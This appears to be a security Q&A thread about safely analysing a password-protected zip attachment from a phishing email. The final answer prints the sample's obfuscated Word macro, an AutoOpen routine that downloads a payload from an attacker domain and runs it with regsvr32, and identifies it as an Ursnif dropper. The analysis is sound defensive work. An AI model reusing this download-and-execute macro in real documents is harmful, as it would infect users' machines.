How to quickly find out what the threat nature of a password protected archive is without getting infected?

Question

I have recently received an e-mail from an existing support group e-mail box with the following characteristics:

• written in the language used in company's HQ (different from English which is the primary communication language)
• had a zip attachment
• provides a clear password for the attachment
• is a reply of a legitimate e-mail I have received from a colleague a few months ago

This seems to be similar to what is described here, so there is very high chance to have received an infected file. After a couple of hours, our security department sent an e-mail related to similar cases happening inside the company.

I am wondering about how to find out the exact nature of the threat in a secure way. I have tried the following (only the first step inside the company, the rest within a VM):

• checked on VirusTotal, but received 0% detection which makes sense since the engines cannot scan the encrypted archive
• Checked with the Nanoav which boast about scanning password protected archives, but it does not allow to input the password
• opened the archive with 7zip and saw a document inside
• extracted the file using 7zip and uploaded the document to VirusTotal => 13+ engines detected something weird.

Do previewing and extracting the archive impose any security risk or is it only the document inside that can be infected? (in this case it seems to employ a macro).

Question: How to quickly find out what exactly the threat nature of a password protected archive without getting infected?

Answer 1

I am wondering about how to find out the exact nature of the threat in a secure way

Doing malware analysis yourself is pretty hard - malware is often designed so that it can't easily be reverse engineered. Your best bet is searching for the VirusTotal results - unfortunately, there may not be any definite information on what your specific malware does exactly. Also, if malware connects back to a server and downloads additional pieces, it might be impossible to tell, as those pieces could change at any time, or depending on the specific target.

Do previewing and extracting the archive impose any security risk

Unlikely, but possibly. Most run-of-the-mill malware relies on the user actively executing a file that contains code. There are several common ways to do that:

• The simplest way is to just provide a .exe. There are some ways to hide the file extension so that it seems less suspicious (Windows has a bad habit of just hiding them)
• Using a less-known file format, like .bat or .vbs, that are executable files too
• By embedding macros in a Word document (or similar format). If you were to open such a document, Word would ask you if you wanted to execute the unsafe macro contents. Many users are trained to click "yes" on such a prompt, which would lead to executing the malware.

Likely, the encrypted zip is just a way of hiding the malicious contents from automated scanners that might detect a known malware.

But there is another possibility: the Malware might contain an actual exploit for a weakness in the software that you are running. That might be a known vulnerability relying on you using an outdated version (more likely) or even an undiscovered "zero-day" vulnerability (less likely). In that case, just viewing a "harmless" format like a .zip might lead to system compromise (although targeting a much more complex format like .docx or .pdf using a document inside the zip that would have to be opened is probably much more likely).

In any case, using a VM was definitely the safe choice - just make sure to not connect it to the Internet and dispose of it afterwards. By contacting your security department about it you definitely did the right thing - they might have the resources to further analyze the threat, or at least block those specific mails from going through.

Answer 2

Question: How to quickly find out what exactly the threat nature of a password protected archive without getting infected?

I will be answering this question. As you want "quick" results, you could do dynamic analysis on the malware. I recommend having a malware sandbox to do it for you.

You throw it in there. It runs,

• it tells you who it is attempting to communicate with
• files it spawned off
• registry keys that are written
• dlls used

With these information above, you should have a rough gist of what it does.

Answer 3

In addition to using a static analysis tool such VirusTotal, I would recommend a sandbox analyzer tool as well. You can find one online such as hybrid-analysis (I am not endorsing this software but merely giving a concrete example).

If you have experience with malware, you can perform a more in-depth analysis of the binary to determine if it is safe or not. Static analysis i.e. virus scanning of the binary is probably the least efficient method at preventing advanced malware.

Given that malicious individual(s) expect you to scan the file(s) before opening them, they will go extra length to try and "hide" as much of the contents as possible. These techniques include replacing static import table with dynamic one, unpacking obfuscated string (could be RC4 or AES) and invoking it at runtime via RunPE injection method leveraging "private" Windows exploits and more.

Kaspersky runs a really good blog on malware called Securelist where they go into depth of dissecting malware and explaining what each bit does and how it works. For example, they have an article which goes into basics of botnets (source). They also regularly publish so-called reports on malware so you can quickly catch up-to-date with the latest security developments (source). Their blog is really big so my suggestion would be to check out either categories or tags and see what fits your requirements the most.

Ps. I realize that Kaspersky is in a bit of hot water given some recent political developments, however, their blog is entirely educational (based on my interaction with it) and by no means an endorsement of Kaspersky as a commercial AV software.

Answer 4

Just that unexpected password-protected zip attachment with the clear password included in the mail would make me suspicious.

Not all password protected zips are malicious, but if you are encrypting a document to protect it from prying eyes, it would be preferable to send that separately through a different medium (such as a phone call). It is also uncommon to do this. The context would also matter. Perhaps we were expecting certain document and we talked that we wanted to send it encrypted. Or we know that this guy always sends us the documents this way.

The fact that it is a reply of a legitimate e-mail could have given it more credibility in the past. Not so after Emotet abused it so much on its campaigns. As this is indeed malicious, it means a recipient of that email it is "replying" to has been compromised (probably recently, perhaps in the past and it's now fixed. In case of doubt, change their credentials).

In order to be analyzed, you will usually need to provide the extracted file. As you mention, this might pose a risk if file preview unexpectedly runs the potential payload (e.g. a exploit). In this specific case, it would be safe to only open it with macros disabled, but you could easily infect yourself when playing with malware samples. It's good thing you used a virtual machine for any study into the document.

Analyzing the document, it is just a normal macro virus. Opening it shows the usual lure to make you enable document edition (and thus allow macros to run):
_{(source: 16bits.net)}

The malicious action is executed through document macros:

Sub AutoOpen()
Dim ij As New OG
ij.W Kd("$+1", 0), Kd("$+1", 1)
Dim It As New H

It.b "regsvr32 " + Kd("$+1", 1)
End Sub

Method W of class OG is just a wrapper of URLDownloadToFile function from urlmon.dll:

Public Function W(JQ, i7)
dD = URLDownloadToFile(0&, JQ, i7, 0&, 0&)
End Function

Thus, it downloads url Kd("$+1", 0) saving it to Kd("$+1", 1). Kd is just a function which returns one of two strings that were defined above in a function called s(), obfuscated with intermixed "$+1" strings and "%%%" as separator:

arr(0) = "h$+1t$+1t$+1p$+1:$+1/$+1/$+1h$+1e$+1r$+1z$+1q$+1v$+1t$+1p$+1b$+19$+19$+1m$+10$+1c$+1n$+1.$+1c$+1o$+1m$+1/$+1g$+1g$+18$+18$+1w$+1"
arr(1) = "y$+1a$+1f$+1t$+1c$+1x$+1r$+17$+1g$+1u$+1/$+1w$+1o$+10$+1z$+1z$+1.$+1p$+1h$+1p$+1?$+1l$+1=$+1s$+1f$+1z$+1s$+18$+1.$+1c$+1a$+1b$+1"
arr(2) = "%$+1%$+1%$+1c$+1:$+1\$+1p$+1r$+1o$+1g$+1r$+1a$+1m$+1d$+1a$+1t$+1a$+1\$+14$+17$+19$+10$+15$+12$+19$+17$+1.$+1d$+1a$+1t$+1"

So, it downloads the file from hxxp://herzqvtpb99m0cn[.]com/gg88wyaftcxr7gu/wo0zz.php?l=sfzs8.cab and saves it to c:\programdata\47905297.dat

Method b of class H is just hiding WshShell.exec

In summary, your document downloads a file from the shady domain herzqvtpb99m0cn dot com (registered a few days ago, on 2020-05-25T12:23:49Z), saves it on c:\programdata and runs it through regsvr32

Its dns servers (at dnspod.com) do not resolve the domain now, so that's as far as we can directly analyze it.

There is an entry for this url on https://urlhaus.abuse.ch/url/369399/ According to the information there, it was a sample of the Ursnif malware.

Conclusion: Your document is a dropper that will run a second stage, probably a binary of the ursnif malware family.